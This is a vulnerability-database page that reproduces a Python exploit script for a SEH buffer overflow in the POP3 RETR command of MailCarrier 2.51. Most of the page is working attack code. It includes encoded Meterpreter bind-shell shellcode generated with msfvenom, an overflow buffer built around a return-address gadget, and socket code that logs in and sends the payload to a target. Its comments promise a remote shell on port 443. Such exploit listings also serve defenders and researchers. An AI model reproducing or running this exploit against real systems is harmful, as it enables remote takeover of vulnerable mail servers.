Lucene search
K

MailCarrier 2.51 - POP3 (RETR) SEH Buffer Overflow Exploit

🗓️ 17 Apr 2019 00:00:00Reported by Dino CovotsosType 
zdt
 zdt
🔗 0day.today👁 61 Views

MailCarrier 2.51 - SEH Remote Buffer Overflow in "RETR" command(POP3) exploit by Telspace Systems. Windows XP Prof SP3 ENG x86. CVE: TBC from Mitre. Increase/decrease the initial EIP overwrite buffer for Mail Carrier exploits

Code
#!/usr/bin/python
# Exploit Title: MailCarrier 2.51 - SEH Remote Buffer Overflow in "RETR" command(POP3)
# Date: 16/04/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.tabslab.com/
# Version: 2.51
# Software Link: N.A
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: TBC from Mitre
# Created for the Telspace Internship 2019 - SEH Exploit
# POC
# 1.) Change ip, username, password and port in code
# 2.) Run script against target, meterpreter bind shell waiting for you on port 443 on the target machine
#0x1b0d110c : pop ecx # pop ecx # ret 0x08 | ascii {PAGE_EXECUTE_READ} [msjet40.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.00.9514.0 (C:\WINDOWS\system32\msjet40.dll)
#N.B For all Mail Carrier exploits, increase/decrease the initial EIP overwrite buffer if your target ip is larger/smaller in digits.
#Crash at 6174
import sys
import socket
import time

#msfvenom -a x86 --platform windows -p windows/meterpreter/bind_tcp LPORT=443 -e x86/alpha_mixed -b "\x00\xd5\x0a\x0d\x1a\x03" -f c
shellcode = ("\x89\xe1\xdb\xcb\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x69\x6c\x78\x68\x6f\x72\x47\x70\x37\x70\x53\x30\x31\x70\x4f"
"\x79\x58\x65\x66\x51\x49\x50\x50\x64\x4c\x4b\x50\x50\x56\x50"
"\x4e\x6b\x56\x32\x74\x4c\x6e\x6b\x50\x52\x36\x74\x6c\x4b\x63"
"\x42\x36\x48\x66\x6f\x58\x37\x52\x6a\x35\x76\x76\x51\x69\x6f"
"\x6c\x6c\x35\x6c\x51\x71\x33\x4c\x75\x52\x64\x6c\x47\x50\x69"
"\x51\x4a\x6f\x34\x4d\x37\x71\x38\x47\x58\x62\x6c\x32\x62\x72"
"\x70\x57\x6c\x4b\x52\x72\x42\x30\x4e\x6b\x53\x7a\x65\x6c\x6e"
"\x6b\x30\x4c\x42\x31\x33\x48\x78\x63\x31\x58\x55\x51\x4b\x61"
"\x66\x31\x6c\x4b\x50\x59\x37\x50\x67\x71\x38\x53\x6e\x6b\x33"
"\x79\x65\x48\x6a\x43\x75\x6a\x62\x69\x6c\x4b\x56\x54\x6e\x6b"
"\x37\x71\x38\x56\x55\x61\x39\x6f\x4c\x6c\x4a\x61\x78\x4f\x46"
"\x6d\x37\x71\x49\x57\x66\x58\x69\x70\x31\x65\x6b\x46\x55\x53"
"\x51\x6d\x69\x68\x65\x6b\x61\x6d\x51\x34\x74\x35\x6a\x44\x70"
"\x58\x6c\x4b\x30\x58\x55\x74\x65\x51\x6b\x63\x61\x76\x6e\x6b"
"\x76\x6c\x30\x4b\x6e\x6b\x71\x48\x47\x6c\x33\x31\x7a\x73\x4c"
"\x4b\x55\x54\x6c\x4b\x77\x71\x6e\x30\x4b\x39\x32\x64\x34\x64"
"\x36\x44\x61\x4b\x51\x4b\x45\x31\x30\x59\x52\x7a\x42\x71\x59"
"\x6f\x69\x70\x53\x6f\x33\x6f\x72\x7a\x4c\x4b\x34\x52\x78\x6b"
"\x6c\x4d\x63\x6d\x71\x78\x50\x33\x77\x42\x55\x50\x53\x30\x33"
"\x58\x70\x77\x70\x73\x30\x32\x31\x4f\x61\x44\x42\x48\x30\x4c"
"\x54\x37\x76\x46\x34\x47\x59\x6f\x78\x55\x78\x38\x4c\x50\x33"
"\x31\x65\x50\x35\x50\x35\x79\x48\x44\x50\x54\x30\x50\x75\x38"
"\x56\x49\x6f\x70\x62\x4b\x75\x50\x69\x6f\x68\x55\x73\x5a\x74"
"\x4b\x42\x79\x62\x70\x79\x72\x59\x6d\x53\x5a\x63\x31\x52\x4a"
"\x67\x72\x65\x38\x6b\x5a\x74\x4f\x79\x4f\x69\x70\x69\x6f\x48"
"\x55\x5a\x37\x31\x78\x44\x42\x73\x30\x33\x31\x4d\x6b\x6e\x69"
"\x38\x66\x70\x6a\x76\x70\x70\x56\x72\x77\x53\x58\x6f\x32\x59"
"\x4b\x46\x57\x73\x57\x39\x6f\x38\x55\x6d\x55\x39\x50\x43\x45"
"\x61\x48\x53\x67\x65\x38\x4e\x57\x59\x79\x66\x58\x4b\x4f\x6b"
"\x4f\x59\x45\x43\x67\x75\x38\x51\x64\x58\x6c\x77\x4b\x39\x71"
"\x69\x6f\x49\x45\x32\x77\x4d\x47\x42\x48\x43\x45\x32\x4e\x52"
"\x6d\x50\x61\x4b\x4f\x39\x45\x52\x4a\x67\x70\x53\x5a\x74\x44"
"\x73\x66\x42\x77\x53\x58\x43\x32\x7a\x79\x39\x58\x63\x6f\x79"
"\x6f\x6e\x35\x4d\x53\x4c\x38\x65\x50\x73\x4e\x46\x4d\x4e\x6b"
"\x66\x56\x30\x6a\x57\x30\x65\x38\x33\x30\x62\x30\x77\x70\x75"
"\x50\x63\x66\x70\x6a\x65\x50\x52\x48\x61\x48\x39\x34\x61\x43"
"\x69\x75\x69\x6f\x38\x55\x7a\x33\x50\x53\x31\x7a\x45\x50\x66"
"\x36\x51\x43\x76\x37\x31\x78\x43\x32\x69\x49\x6f\x38\x51\x4f"
"\x4b\x4f\x39\x45\x4d\x53\x69\x68\x43\x30\x63\x4e\x73\x37\x67"
"\x71\x4a\x63\x44\x69\x5a\x66\x73\x45\x38\x69\x6a\x63\x6f\x4b"
"\x4a\x50\x4c\x75\x4e\x42\x42\x76\x33\x5a\x37\x70\x63\x63\x69"
"\x6f\x78\x55\x41\x41")

buffer = "A" * 6174 + "\xeb\x11\x90\x90" + "\x0c\x11\x0d\x1b" + "\x90" * 20 + shellcode + "D" * (10000-6882)

print "[*] Mail Server 2.51 POP3 Buffer Overflow in RETR command\r\n"
print "[*] Sending pwnage buffer: with %s bytes..." %len(buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(("192.168.0.150", 110))
print s.recv(1024)
print "[*] Sending USERNAME\r\n"
s.send('USER test' + '\r\n')
print s.recv(1024)
print "[*] Sending PASSWORD\r\n"
s.send('PASS test' + '\r\n')
print s.recv(1024)
s.send('RETR ' + buffer + '\r\n')
s.send('QUIT\r\n')
s.close()
time.sleep(1)
print "[*] Done, check for meterpreter shell on target ip port 443!"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation